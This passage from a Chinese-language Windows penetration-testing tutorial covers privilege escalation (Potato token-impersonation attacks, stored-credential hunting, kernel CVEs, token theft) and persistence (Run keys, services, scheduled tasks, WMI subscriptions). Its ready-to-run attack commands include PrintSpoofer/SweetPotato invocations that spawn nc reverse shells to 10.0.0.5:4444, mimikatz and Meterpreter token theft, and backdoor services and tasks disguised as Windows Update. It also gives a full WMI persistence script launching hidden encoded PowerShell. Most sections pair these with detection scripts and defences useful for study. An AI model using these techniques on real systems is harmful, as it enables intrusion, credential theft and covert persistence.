Sysmon Event ID 7(Image loaded)+ 检查 DLL 路径是否在程序目录下

防御:

# ① 程序安装目录禁止普通用户写(同 ③)
# ② 开发中加载 DLL 一律用【绝对路径】或 LoadLibraryEx + LOAD_LIBRARY_SEARCH_SYSTEM32
#    C/C++:
#    LoadLibraryEx(L"mylib.dll", NULL, LOAD_LIBRARY_SEARCH_SYSTEM32);
#
#    .NET:用强命名 + 放在 GAC

# ③ 开启 CWDIllegalInDLLSearch(把"当前工作目录"移到搜索顺序靠后)
reg add "HKLM\System\CurrentControlSet\Control\Session Manager" /v CWDIllegalInDLLSearch /t REG_DWORD /d 0xFFFFFFFF /f

# ④ 监控:Sysmon Event ID 7 + 规则"DLL 不在 System32 且不在程序目录"

⑤ ★ Potato 系列(令牌中继提权)— Windows 独有的“魔法”

这是 Windows 提权里最“诡异”的一类,也是面试最常问的。我把它讲透。

先说结论:

如果你拿到的账号(或服务账号)有这两个特权之一:
  - SeImpersonatePrivilege(身份验证后模拟客户端)
  - SeAssignPrimaryTokenPrivilege(替换进程级令牌)
你就能 100% 提权到 SYSTEM。

而这两个特权,恰恰是【Web 服务账号(IIS 的 IIS_IUSRS、SQL Server 服务账号、
各种 ApplicationPoolIdentity)默认就有】的!

这就是为什么"打下一个 ASPX 的 WebShell,往往直接就是 SYSTEM"的原因。

原理(用生活类比讲透):

背景知识:Windows 有个"命名管道(Named Pipe)"通信机制,
          就像公司内部的【内部电话】。
          还有个规矩叫【模拟(Impersonation)】:
          内部电话那头如果是领导(SYSTEM),
          接电话的人可以说"请把您的权限借我用一下",
          领导同意后,你就临时变成领导了。

Potato 的做法:

  ① 攻击者在本地起一个【假的内部电话总机】(RPC 服务器 / 命名管道)
  ② 想办法"骗"一个 SYSTEM 进程来给这个总机打电话
  ③ SYSTEM 进程一接通,攻击者就说:"请让我冒充你"(ImpersonateNamedPipeClient)
  ④ 拿到 SYSTEM 的令牌
  ⑤ 用这个令牌 CreateProcessAsUser → SYSTEM 的 cmd

★ 难点在 ②:怎么骗 SYSTEM 来连你?
   这就是各种 Potato 版本的区别所在:

Potato 家族演进表(面试最爱的演进题):

名字 年份 怎么骗 SYSTEM 来连你 适用版本
Hot Potato 2016 用 NBNS/LLMNR 欺骗 + WPAD 代理劫持,让 SYSTEM 的 Windows Update 请求走到你的假 HTTP 服务器,再 401 要求 NTLM 认证,把认证中继到 SMB Win7~Win10 早期
Rotten Potato 2017 利用 COM 的 IStorage 接口激活机制,让 SYSTEM 通过 RPC 连你的本地 135 端口,你把连接转到自己的命名管道 Win10 / Server 2012+(不需要 138 端口、不需要 UDP)
Juicy Potato 2018 Rotten Potato 的改进:可以【指定 CLSID】,适配更多版本;支持指定监听端口 Win7~Win10 1809 / Server 2016
PrintSpoofer 2020 利用“打印机通知”机制(SpoolSample / Printer Bug):调用 RpcRemoteFindFirstPrinterChangeNotificationEx 让 SYSTEM 的 spoolsv.exe 主动连你 Win10 1809+ / Server 2019 / 2022(JuicyPotato 失效后主流)
SweetPotato 2020 把上面几种打包,自动选择可用方法(COM / WinRM / PrintSpoofer) 全版本
RoguePotato 2020 针对微软封了 OXID resolver 后的绕过:在远程起一个假 OXID 服务器 Server 2019 打过补丁
GodPotato 2024 针对微软继续封堵后的新方法(RpcDSSMoveFromSharedFile 等) Server 2019/2022 全补丁

实战命令(以 PrintSpoofer 为例,2020 年后最通用):

# ① 先确认你有关键特权
whoami /priv
# 找这两行(看 State 是 Enabled 还是 Disabled,Disabled 也行,可以手动启用):
#   SeImpersonatePrivilege                Impersonate a client after authentication
#   SeAssignPrimaryTokenPrivilege         Replace a process level token

# ② 如果是 Disabled,先启用(很多工具会自动做)
#   用 JuicyPotato 的 BITS 服务方法、或直接跑:
#   (其实工具内部会 EnablePrivilege,通常不用手动)

# ③ 执行提权
PrintSpoofer64.exe -i -c cmd.exe
#   -i = 交互式(给你一个 cmd 窗口)
#   -c = 要执行的命令

# 常用变体
PrintSpoofer64.exe -i -c powershell.exe
PrintSpoofer64.exe -c "C:\Temp\nc.exe 10.0.0.5 4444 -e cmd.exe"

# 用 SweetPotato(自动选方法,推荐)
SharpPotato.exe -c cmd.exe
SweetPotato.exe -p C:\Temp\nc.exe -a "10.0.0.5 4444 -e cmd.exe"

# ④ 验证
whoami     # → nt authority\system

C 代码核心片段(理解原理用):

// potato 核心逻辑简化版(PrintSpoofer 风格)
// 完整实现几百行,这里只留最关键的三步

#include <windows.h>
#include <stdio.h>

int wmain(int argc, wchar_t* argv[]) {
    HANDLE hToken, hSystemToken, hDupToken;

    // ===== 第 1 步:启用 SeImpersonatePrivilege =====
    // 没有这个特权,后面 ImpersonateNamedPipeClient 会失败
    {
        HANDLE hProc = GetCurrentProcess();
        OpenProcessToken(hProc, TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);

        LUID luid;
        LookupPrivilegeValueW(NULL, L"SeImpersonatePrivilege", &luid);

        TOKEN_PRIVILEGES tp;
        tp.PrivilegeCount = 1;
        tp.Privileges[0].Luid = luid;
        tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;

        AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(tp), NULL, NULL);
    }

    // ===== 第 2 步:创建一个命名管道,骗 SYSTEM 来连 =====
    // 真实攻击里,这一步是"用打印机通知 API 让 spoolsv.exe(SYSTEM) 主动连过来"
    HANDLE hPipe = CreateNamedPipeW(
        L"\\\\.\\pipe\\evilpipe\\pipe\\epmapper",
        PIPE_ACCESS_DUPLEX | FILE_FLAG_OVERLAPPED,
        PIPE_TYPE_MESSAGE | PIPE_READMODE_MESSAGE | PIPE_WAIT,
        10, 2048, 2048, 0, NULL
    );

    // 触发 SYSTEM 连接(此处省略 200 行的 RPC/打印机 Bug 调用)
    TriggerSystemConnection();   // ← 各 Potato 版本的核心差异就在这里

    // 等 SYSTEM 连上来
    ConnectNamedPipe(hPipe, NULL);

    // ===== 第 3 步:冒充连过来的客户端(SYSTEM)=====
    // ★ 这就是"魔法"所在:一句 API,你就变成了 SYSTEM
    ImpersonateNamedPipeClient(hPipe);

    // 取出冒充到的 SYSTEM 令牌
    OpenThreadToken(GetCurrentThread(),
                    TOKEN_ALL_ACCESS,   // 或 TOKEN_DUPLICATE | TOKEN_QUERY | TOKEN_ASSIGN_PRIMARY
                    FALSE, &hSystemToken);

    // 把"模拟令牌"转成"主令牌"(CreateProcess 需要主令牌)
    DuplicateTokenEx(hSystemToken,
                     TOKEN_ALL_ACCESS,
                     NULL,
                     SecurityImpersonation,
                     TokenPrimary,        // ★ 转成主令牌
                     &hDupToken);

    // ===== 第 4 步:用 SYSTEM 令牌起进程 =====
    STARTUPINFOW si = { sizeof(si) };
    PROCESS_INFORMATION pi;
    wchar_t cmd[] = L"cmd.exe";
    CreateProcessAsUserW(hDupToken, NULL, cmd, NULL, NULL,
                         FALSE, 0, NULL, NULL, &si, &pi);

    // 现在 pi 里的进程就是 SYSTEM 的 cmd
    wprintf(L"[+] Got SYSTEM!\n");
    return 0;
}

⚠️ 上面的 TriggerSystemConnection() 是省略的核心实现, 完整代码在 PrintSpoofer / SweetPotato 开源项目里(几百行 RPC 调用)。 这里给的是**让你理解“拿到令牌之后怎么用”**的骨架。

防御(这是重点,企业真正该做的):

★ 最根本的:【不要让 Web 服务账号拥有 SeImpersonatePrivilege】
  但现实是——去掉这个特权,IIS / SQL Server 很多功能就挂了。
  所以微软一直没在默认配置里改。

可行的缓解措施(按优先级):

  ① 【Web 服务别用高特权账号跑】
     IIS 应用程序池:用 ApplicationPoolIdentity 而不是 LocalSystem
     SQL Server:用专门的服务账号,权限最小化

  ② 【上 EDR】:这类攻击有非常明显的特征
     - 非 SYSTEM 进程创建了命名管道并 ImpersonateNamedPipeClient
     - 进程令牌从 Medium IL 突然变成 System IL
     - 普通用户的进程突然是 SYSTEM
     → Defender for Endpoint / CrowdStrike 等都能检出

  ③ 【Sysmon 监控】
     Event ID 10(ProcessAccess)+ 目标为 lsass / 可疑的令牌复制行为
     Event ID 1(ProcessCreate)+ 父进程异常(iis 的 w3wp.exe 起了 cmd.exe)

  ④ 【打补丁 + 跟上版本】
     微软在持续封堵 Potato 的各个触发点,
     但这是一场猫鼠游戏(封堵 → 出新 Potato → 再封堵)

★ 诚实结论:
   只要攻击者拿到了一个带 SeImpersonatePrivilege 的代码执行点,
   在【没有 EDR】的环境里,他【几乎一定能】提到 SYSTEM。
   这是 Windows 架构决定的,不是配置问题。
   因此:Web 入口的 RCE 防护 + EDR,优先级高于"修 Potato"。

⑥ 存储的凭据(配置文件里的明文密码)

原理:很多软件/运维习惯把密码写在配置文件里。Windows 上有一批“经典位置”。

# ===== 常见明文密码藏匿点清单 =====

# ① 无人值守安装文件(★ 最常见,装过系统的机器都可能有)
#    里面可能有本地管理员的明文密码或 Base64
dir /s /b C:\unattend.xml C:\Windows\Panther\unattend.xml `
          C:\Windows\Panther\Unattend.xml C:\Windows\System32\sysprep\sysprep.xml
type C:\Windows\Panther\unattend.xml | findstr /i "password"
# 密码常在 <AdministratorPassword><Value> 里,Base64 的话:
# [System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String("..."))

# ② 组策略里的 cpassword(MS14-025,AES 密钥微软已经公开)
dir /s /b \\domain.com\SYSVOL\*.xml | findstr /i "cpassword"

# ③ 注册表里存的自动登录密码
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" | findstr /i "DefaultPassword"

# ④ 凭据管理器(用户自己保存的)
cmdkey /list
# 提取:mimikatz # vault::cred / vault::list
# 或者 SharpDPAPI / LaZagne

# ⑤ 常见软件的配置文件
dir /s /b C:\*.config 2>nul | findstr /i "web.config app.config"
# Web.config 里的 <connectionStrings> 常常有 SA 密码!
type C:\inetpub\wwwroot\web.config | findstr /i "password pwd connectionString"

# ⑥ McAfee / SCCM / 各种运维软件的配置文件
#    McAfee SiteList.xml(历史上爆过,密码可逆解)
dir /s /b "C:\Program Files\McAfee\*SiteList.xml" 2>nul

# ⑦ PowerShell 历史(你敲过的命令可能带密码)
type %APPDATA%\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
cat (Get-PSReadlineOption).HistorySavePath

# ⑧ 桌面/文档里的 xlsx / txt / md("密码.xlsx" 是永恒的经典)
dir /s /b C:\Users\*\Desktop\*.xlsx C:\Users\*\Documents\*密码* 2>nul

# ⑨ 浏览器的保存密码
#    Chrome: %LOCALAPPDATA%\Google\Chrome\User Data\Default\Login Data(SQLite + DPAPI)
#    → 用 SharpDPAPI / LaZagne 提取

# ⑩ 环境变量 / 命令行参数(wmic 能看到别人的进程命令行)
wmic process get name,commandline | findstr /i "pass"

防御:

  - 用 LAPS 管理本地管理员密码(每台机器随机、定期改、存在 AD 里)
  - 禁止明文密码写配置:用密钥管理(KMS / Vault / DPAPI / 域的 gMSA)
  - 装完系统删除 unattend.xml
  - 组策略:禁用"存储明文密码"(MS14-025 补丁 + 清理历史 cpassword)
  - 定期用脚本扫自己域里有没有这些文件(自查先于被查)

⑦ 内核漏洞提权

和 Linux 的脏牛一样,Windows 也有大把内核提权 CVE。

# ① 先看系统版本和补丁
systeminfo | findstr /B /C:"OS Name" /C:"OS Version"
wmic qfe list brief /format:table      # 列出已装补丁

# ② 用自动化工具比对
#    - Windows-Exploit-Suggester(Python,离线比对 KB)
python windows-exploit-suggester.py --database 2026-01-01-mssb.xls --systeminfo sysinfo.txt

#    - Sherlock(PowerShell,本地快速扫)
Import-Module .\Sherlock.ps1
Find-AllVulns

#    - Watson(C#,支持到较新版本)
Watson.exe

# ③ 常见的高频提权 CVE(了解即可,别在生产乱打)
#    CVE-2021-40449  Win32k 内核提权
#    CVE-2022-26904  Active Directory 域提权
#    CVE-2023-21768  Windows 备份服务提权
#    ...(每年都有,打补丁才是正解)

防御:

  - WSUS / SCCM / Intune 统一管理补丁,内核漏洞优先级最高
  - 开启 HVCI(基于虚拟化的代码完整性)+ VBS
  - 减少内核攻击面:卸载不需要的驱动、禁用不需要的服务

⑧ 令牌窃取与伪造(incognito / token manipulation)

原理:

机器上有多个用户登录过(比如管理员 RDP 上来过没注销),
内存里就留着他们的令牌。
如果你有 SeDebugPrivilege(通常是管理员),
就能"借用"别人的令牌,以他的身份操作。

★ 这在域环境里威力巨大:
  如果域管登录过这台机器,你偷到他的令牌,
  你就是域管——不用知道他的密码。
# Mimikatz
mimikatz # privilege::debug
mimikatz # token::list          # 列出机器上所有可用的令牌
mimikatz # token::elevate       # 把自己提到 SYSTEM(如果有 SeDebugPrivilege)
mimikatz # token::dup /domain   # 或者偷一个域用户的令牌

# Metasploit
meterpreter > load incognito
meterpreter > list_tokens -u
meterpreter > impersonate_token "DOMAIN\\admin"

防御:

  - 管理员【用完就注销】,不要只断开 RDP(断开会话令牌还在内存里)
  - 限制"允许通过 RDP 登录"的组,不要让域管随便登普通机器
  - 开启 Credential Guard(VBS 隔离 LSASS,令牌窃取难度大幅上升)
  - 监控:Sysmon 10(ProcessAccess)目标是 lsass.exe,且源进程不是正常程序

⑨ 可写的计划任务 / 启动项

# ① 枚举所有计划任务,看哪些的"可执行文件"或"任务定义文件"可写
Get-ScheduledTask | ForEach-Object {
    $t = $_
    $t.Actions | ForEach-Object {
        $exe = $_.Execute
        if ($exe -and (Test-Path $exe -ErrorAction SilentlyContinue)) {
            $acl = Get-Acl $exe -ErrorAction SilentlyContinue
            $bad = $acl.Access | Where-Object {
                $_.FileSystemRights -match 'Write|Modify|FullControl' -and
                $_.IdentityReference -match 'Users|Everyone|Authenticated Users'
            }
            if ($bad) {
                Write-Warning "[可写] 任务 [$($t.TaskName)] 执行 $exe (以 $($t.Principal.UserId) 运行)"
            }
        }
    }
}

# ② 任务定义文件(XML)在 C:\Windows\System32\Tasks\ 下,也可改
icacls C:\Windows\System32\Tasks\* | findstr /i "Users Everyone"

# ③ 利用
copy evil.exe C:\Path\To\Writable\task.exe
# 等它执行,或手动:
schtasks /run /tn "VulnerableTask"

⑩ 提权姿势速览表(剩下的常见项)

姿势 一句话原理 检测/加固
UAC Bypass 利用 autoElevate 的系统程序搭便车拿 High IL 设 UAC=始终通知;用户不给本地管理员
AppInit_DLLs 注册表指定一个 DLL,所有加载 user32.dll 的进程都会加载它 删掉 HKLM\...\Windows\AppInit_DLLs
IFEO 注入 Image File Execution Options\xxx.exe\Debugger 指定调试器,启动 xxx 时先跑你的 检查该注册表项
粘滞键后门(sethc) 替换 sethc.exe,登录界面连按 5 次 Shift = SYSTEM 的 cmd sfc /scannow;检查 System32 文件哈希
Utilman 后门 替换 Utilman.exe(登录界面的“轻松使用”图标) 同上
AlwaysInstallElevated 见 ② 关掉
SeLoadDriverPrivilege 加载有漏洞的驱动 → 内核代码执行(BYOVD 战术,EDR 也拦不住) 驱动黑名单(HVCI + WDAC)
服务 DLL(svchost 类服务) 改 Parameters\ServiceDll 指向你的 DLL 检查注册表 HKLM\SYSTEM\CCS\Services\*\Parameters
Named Pipe 模拟(无 SeImpersonate) 某些服务主动连你,你模拟它 设计层面,需 EDR
ADCS 证书模板滥用(ESC1-ESC8) 域内的证书服务配错 → 凭证书冒充域管 见第七章(域渗透)

BYOVD(Bring Your Own Vulnerable Driver,自带漏洞驱动)必须要知道: 这是现在对抗 EDR 的主流手法——攻击者带一个有合法签名但有已知漏洞的驱动, 加载它(需要 SeLoadDriverPrivilege),用它直接杀掉 EDR 的内核回调。 因为驱动“签名合法”,默认的 HVCI 可能放行。 防御:微软的驱动黑名单(Recommended Driver Block Rules)+ HVCI。


6.5.3 Windows 持久化(八种手段 + 检测)

一句话定义持久化:重启后、改密码后、重装软件后,我的入口还在。

持久化全景(对应 Linux 的六个层次)

Windows 持久化手段(按隐蔽程度从低到高):

  L1  启动文件夹      ★☆☆☆☆  一眼看得见
  L2  注册表 Run 键   ★★☆☆☆  Autoruns 一扫就出来
  L3  服务            ★★★☆☆  服务列表里能看到
  L4  计划任务        ★★★☆☆  taskschd.msc 能看到
  L5  WMI 事件订阅    ★★★★★  ★ 没有 GUI、不在注册表、Autoruns 也看不全
  L6  组策略 / 登录脚本 ★★★★★  在域控上,本机看不出来
  L7  驱动 / Bootkit  ★★★★★  内核态,最难查

① 注册表 Run / RunOnce

# 常见位置(HKCU 只对当前用户生效,不需要管理员!)
HKCU\Software\Microsoft\Windows\CurrentVersion\Run
HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce
HKLM\Software\Microsoft\Windows\CurrentVersion\Run                  # 需管理员
HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce
HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run
HKCU\Software\Microsoft\Windows NT\CurrentVersion\Windows\Run       # 老但有效
HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit  # ★ 篡改 Userinit
HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell     # ★ 篡改 Shell

# 添加后门(HKCU 版,普通用户权限即可,且不影响其他用户)
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "WindowsUpdateSvc" /t REG_SZ /d "C:\Users\Public\svchost.exe" /f

# 更隐蔽:伪装成正常程序的名字
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "OneDrive Update" /t REG_SZ /d "C:\Users\Public\OneDriveUpdater.exe" /f

# ★ Userinit 篡改(登录后必执行,非常隐蔽)
#    原值:C:\Windows\system32\userinit.exe,
#    篡改:C:\Windows\system32\userinit.exe,C:\Windows\Temp\evil.exe,
reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Userinit /t REG_SZ /d "C:\Windows\system32\userinit.exe,C:\Windows\Temp\evil.exe," /f

检测:

# 一键枚举所有常见自启动注册表位置
$paths = @(
    "HKLM:\Software\Microsoft\Windows\CurrentVersion\Run",
    "HKLM:\Software\Microsoft\Windows\CurrentVersion\RunOnce",
    "HKLM:\Software\Microsoft\Windows\CurrentVersion\RunOnceEx",
    "HKLM:\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run",
    "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run",
    "HKCU:\Software\Microsoft\Windows\CurrentVersion\RunOnce",
    "HKLM:\Software\Microsoft\Windows NT\CurrentVersion\Winlogon",
    "HKLM:\Software\Microsoft\Windows NT\CurrentVersion\Windows",
    "HKLM:\Software\Microsoft\Windows\CurrentVersion\Explorer\ShellServiceObjects",
    "HKLM:\Software\Microsoft\Windows\CurrentVersion\Explorer\Browser Helper Objects"
)
foreach ($p in $paths) {
    if (Test-Path $p) {
        Write-Host "`n=== $p ===" -ForegroundColor Cyan
        Get-ItemProperty $p | Select-Object * -ExcludeProperty PS* | Format-List
    }
}

# 检查 Userinit / Shell 是否被改(正常值见下方注释)
Get-ItemProperty "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" |
    Select-Object Userinit, Shell
# 正常应该是:
#   Userinit = C:\Windows\system32\userinit.exe,
#   Shell    = explorer.exe
# 任何多出来的路径都可疑

② 启动文件夹

# 位置(不需要管理员!)
C:\Users\<用户名>\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup    # 当前用户
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup                       # 所有用户(需管理员)

# 添加(放个 .lnk 或 .exe 进去)
copy evil.exe "C:\Users\bob\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\"

# 检测
dir "C:\Users\*\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup"
dir "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup"

③ 服务(Service)

# 创建一个开机自启的服务
sc.exe create "WindowsUpdateSvc" binPath= "C:\Windows\Temp\evil.exe" start= auto DisplayName= "Windows Update Service"
sc.exe description "WindowsUpdateSvc" "Enables the detection, download, and installation of Windows updates."
sc.exe start "WindowsUpdateSvc"

# ★ 更隐蔽:把后门塞进已有服务的 svchost 组
#    很多服务是共享 svchost.exe 进程的,真正的实现在注册表 Parameters\ServiceDll
reg add "HKLM\SYSTEM\CurrentControlSet\Services\SomeService\Parameters" /v ServiceDll /t REG_EXPAND_SZ /d "C:\Windows\Temp\evil.dll" /f
# 这样服务列表里【没有新服务】,但启动时加载你的 DLL

# ★ 或者用 sc.exe 的 "Failure" 机制(服务"失败"时执行你的程序)
sc.exe failure SomeService command= "C:\Windows\Temp\evil.exe" reset= 0 actions= restart/0/restart/0/run/1000
# 制造一次服务崩溃 → Windows 自动运行你的程序(以 SYSTEM)

检测:

# ① 列出所有服务,重点看"无明显厂商名"的
Get-WmiObject Win32_Service | Select-Object Name, DisplayName, PathName, StartMode, StartName |
    Where-Object { $_.PathName -notmatch 'C:\\Windows\\' } | Format-Table -AutoSize

# ② 检查所有 svchost 服务的 ServiceDll 是否在 System32 下
Get-ChildItem "HKLM:\SYSTEM\CurrentControlSet\Services" | ForEach-Object {
    $dll = (Get-ItemProperty "$($_.PSPath)\Parameters" -Name ServiceDll -ErrorAction SilentlyContinue).ServiceDll
    if ($dll -and $dll -notmatch '^%SystemRoot%\\|^C:\\Windows\\System32\\') {
        Write-Warning "[$($_.PSChildName)] 可疑 ServiceDll: $dll"
    }
}

# ③ 服务的"失败恢复命令"(很少有人查这里)
Get-WmiObject Win32_Service | Where-Object { $_.DesktopInteract -or $_.ErrorControl } |
  ForEach-Object { sc.exe qfailure $_.Name } | Select-String "COMMAND LINE"

# ④ 最靠谱:Sysinternals Autoruns(勾掉 Hide Microsoft Entries)
#    autorunsc.exe -a * -c -h    # -h = 校验签名,-c = CSV 输出

④ 计划任务(Scheduled Task)

# 开机启动(最常用)
schtasks /create /tn "Windows Defender Update" /tr "C:\Windows\Temp\evil.exe" /sc onstart /ru SYSTEM /f

# 用户登录时启动
schtasks /create /tn "AdobeUpdater" /tr "C:\Windows\Temp\evil.exe" /sc onlogon /ru %USERNAME% /f

# 每 5 分钟一次(保持连接)
schtasks /create /tn "SysMonCheck" /tr "C:\Windows\Temp\beacon.exe" /sc minute /mo 5 /ru SYSTEM /f

# 隐藏:用 PowerShell 直接操作,任务名用空格开头(很多工具显示时会截断)
$action = New-ScheduledTaskAction -Execute "C:\Windows\Temp\evil.exe"
$trigger = New-ScheduledTaskTrigger -AtLogOn
$settings = New-ScheduledTaskSettingsSet -Hidden -AllowStartIfOnBatteries -DontStopIfGoingOnBatteries
Register-ScheduledTask -TaskName " WindowsCoreUpdate" -Action $action -Trigger $trigger -Settings $settings -User "SYSTEM"

# 更隐蔽:直接写任务 XML 到 C:\Windows\System32\Tasks\(绕过 taskschd.msc 显示)

检测:

# 列出所有任务(含隐藏的)
Get-ScheduledTask | Where-Object { $_.State -ne 'Disabled' } |
    Select-Object TaskName, State, @{n='User';e={$_.Principal.UserId}},
                  @{n='Action';e={$_.Actions.Execute + ' ' + $_.Actions.Arguments}} |
    Format-Table -AutoSize

# 找出"没有作者/描述"或"作者可疑"的
Get-ScheduledTask | Get-ScheduledTaskInfo | Where-Object {
    $_.Author -eq $null -or $_.Author -eq ''
} | Select-Object TaskName, Author

# 直接看任务文件(比 taskschd.msc 全)
Get-ChildItem C:\Windows\System32\Tasks -Recurse -File | ForEach-Object {
    [xml]$x = Get-Content $_.FullName -ErrorAction SilentlyContinue
    if ($x) {
        [PSCustomObject]@{
            File   = $_.FullName
            Author = $x.Task.RegistrationInfo.Author
            Cmd    = $x.Task.Actions.Exec.Command + ' ' + $x.Task.Actions.Exec.Arguments
            UserId = $x.Task.Principals.Principal.UserId
        }
    }
} | Format-Table -AutoSize

⑤ ★ WMI 事件订阅持久化(最隐蔽,面试高频)

为什么它是最隐蔽的:

① 不在注册表里(注册表类扫描全失效)
② 不在文件系统里(可以纯内存,连 exe 都不用落地)
③ 不在服务列表、不在计划任务列表
④ Autoruns 默认勾着"Hide Microsoft Entries"时看不全
⑤ 重启后依然生效(存在 WMI 仓库 C:\Windows\System32\wbem\Repository 里)

原理(生活类比):

WMI 可以"订阅系统事件":
  "当【某个事件】发生时,执行【某个动作】"

  生活类比:
    你在物业(WMI)登记了一条规则——
    "每天 12 点(事件),帮我开一下空调(动作)"

  攻击者登记的则是——
    "系统启动后 5 分钟内(事件),运行 C:\Temp\evil.exe(动作)"
    "每次有用户登录(事件),运行我的 PowerShell 脚本(动作)"

三个必须一起创建的对象:

  __EventFilter          :定义"什么事件"(触发器)
  EventConsumer(常用 CommandLineEventConsumer / ActiveScriptEventConsumer)
                         :定义"做什么"(动作)
  __FilterToConsumerBinding
                         :把触发器和动作绑起来(必须!只建前两个不生效)

完整利用代码:

# ===== WMI 持久化:系统启动后 1~5 分钟内执行 =====

# ① 创建事件过滤器(触发器)
$FilterArgs = @{
    EventNamespace = 'root/cimv2'
    Name           = 'WindowsUpdateFilter'                    # 伪装名字
    QueryLanguage  = 'WQL'
    Query          = "SELECT * FROM __InstanceModificationEvent WITHIN 60
                      WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'
                      AND TargetInstance.SystemUpTime >= 240
                      AND TargetInstance.SystemUpTime < 325"
}
$Filter = Set-WmiInstance -Class __EventFilter -Namespace "root/subscription" -Arguments $FilterArgs

# ★ 上面这段 WQL 的含义(讲透):
#   Win32_PerfFormattedData_PerfOS_System 里有个字段 SystemUpTime = 系统已运行秒数
#   WITHIN 60        = 每 60 秒检查一次
#   SystemUpTime 在 [240, 325) 之间 = 开机后 4~5 分半
#   → 就是"开机后 4~5 分钟时触发一次"
#
#   其他常用触发器:
#   - 用户登录:    SELECT * FROM __InstanceCreationEvent WITHIN 60
#                   WHERE TargetInstance ISA 'Win32_LogonSession'
#                   AND TargetInstance.LogonType = 2
#   - 特定进程启动:SELECT * FROM __InstanceCreationEvent WITHIN 10
#                   WHERE TargetInstance ISA 'Win32_Process'
#                   AND TargetInstance.Name = 'notepad.exe'
#   - 每 N 秒一次:  SELECT * FROM __IntervalTimerInstruction(或直接上面的 WITHIN 轮询)

# ② 创建消费者(动作):执行命令行
$ConsumerArgs = @{
    Name                = 'WindowsUpdateConsumer'
    CommandLineTemplate = 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -nop -w hidden -enc <Base64编码的命令>'
}
$Consumer = Set-WmiInstance -Class CommandLineEventConsumer -Namespace "root/subscription" -Arguments $ConsumerArgs

# ③ 绑定(★ 缺了这步前面两个都是摆设)
$BindingArgs = @{
    Filter   = $Filter
    Consumer = $Consumer
}
Set-WmiInstance -Class __FilterToConsumerBinding -Namespace "root/subscription" -Arguments $BindingArgs

Write-Host "[+] WMI 持久化已建立" -ForegroundColor Green

检测与清除:

# ===== 检测:列出 WMI 仓库里所有的持久化对象 =====

# ① 事件过滤器
Get-WMIObject -Namespace root/subscription -Class __EventFilter |
    Select-Object Name, Query, CreatorSID | Format-List

# ② 事件消费者(重点看这两个类)
Get-WMIObject -Namespace root/subscription -Class CommandLineEventConsumer |
    Select-Object Name, CommandLineTemplate, CreatorSID | Format-List
Get-WMIObject -Namespace root/subscription -Class ActiveScriptEventConsumer |
    Select-Object Name, ScriptText, ScriptFileName | Format-List

# ③ 绑定关系
Get-WMIObject -Namespace root/subscription -Class __FilterToConsumerBinding |
    Select-Object Filter, Consumer | Format-List

# ★ 用 PowerShell 7 / CIM cmdlet(更现代)
Get-CimInstance -Namespace root/subscription -ClassName __EventFilter
Get-CimInstance -Namespace root/subscription -ClassName CommandLineEventConsumer
Get-CimInstance -Namespace root/subscription -ClassName __FilterToConsumerBinding

# ===== 一键检测脚本(运维自查)=====
function Find-WMIPersistence {
    $result = @()
    $ns = 'root/subscription'

    $filters   = Get-CimInstance -Namespace $ns -ClassName __EventFilter -EA SilentlyContinue
    $consumers = @()
    $consumers += Get-CimInstance -Namespace $ns -ClassName CommandLineEventConsumer -EA SilentlyContinue
    $consumers += Get-CimInstance -Namespace $ns -ClassName ActiveScriptEventConsumer -EA SilentlyContinue
    $bindings  = Get-CimInstance -Namespace $ns -ClassName __FilterToConsumerBinding -EA SilentlyContinue

    foreach ($c in $consumers) {
        $matched = $bindings | Where-Object { $_.Consumer -like "*Name=`"$($c.Name)`"" }
        $f = $filters | Where-Object { $matched.Filter -like "*Name=`"$($_.Name)`"" }
        $result += [PSCustomObject]@{
            ConsumerName = $c.Name
            Type         = $c.CimClass.CimClassName
            Command      = if ($c.CommandLineTemplate) { $c.CommandLineTemplate } else { $c.ScriptText }
            Trigger      = ($f | Select-Object -First 1).Query
            CreatorSID   = $c.CreatorSID
        }
    }
    $result | Format-List
}
Find-WMIPersistence

# ===== 清除 =====
Get-WMIObject -Namespace root/subscription -Class __EventFilter -Filter "Name='WindowsUpdateFilter'" | Remove-WmiObject -Verbose
Get-WMIObject -Namespace root/subscription -Class CommandLineEventConsumer -Filter "Name='WindowsUpdateConsumer'" | Remove-WmiObject -Verbose
Get-WMIObject -Namespace root/subscription -Class __FilterToConsumerBinding -Filter "Consumer='CommandLineEventConsumer.Name=\"WindowsUpdateConsumer\"'" | Remove-WmiObject -Verbose

说实话: 检测 WMI 持久化不难(上面几条命令就能列全),难的是你要记得去查。 很多应急响应只查注册表、服务、计划任务,就漏了 WMI。 建议:把 WMI 检查写进 HIDS/EDR 的定期巡检项。

⑥ 组策略 / 登录脚本(域环境下的持久化)

详见 6.5.5 的 SYSVOL 部分。域环境下这是“一次配置,全域生效”,威力最大。

⑦ DLL 劫持 / 服务 DLL 替换

见 6.5.2 ④。作为持久化的好处:不需要新增任何自启动项,因为真正启动的程序没变,只是它加载的 DLL 被换成了你的。

⑧ 粘滞键 / 辅助功能后门(sethc、Utilman、Magnify)

# 原理:登录界面(你还没登录、没有账号)能调用的只有"辅助功能"程序
#   连按 5 次 Shift  → sethc.exe(粘滞键)
#   点"轻松使用"     → Utilman.exe
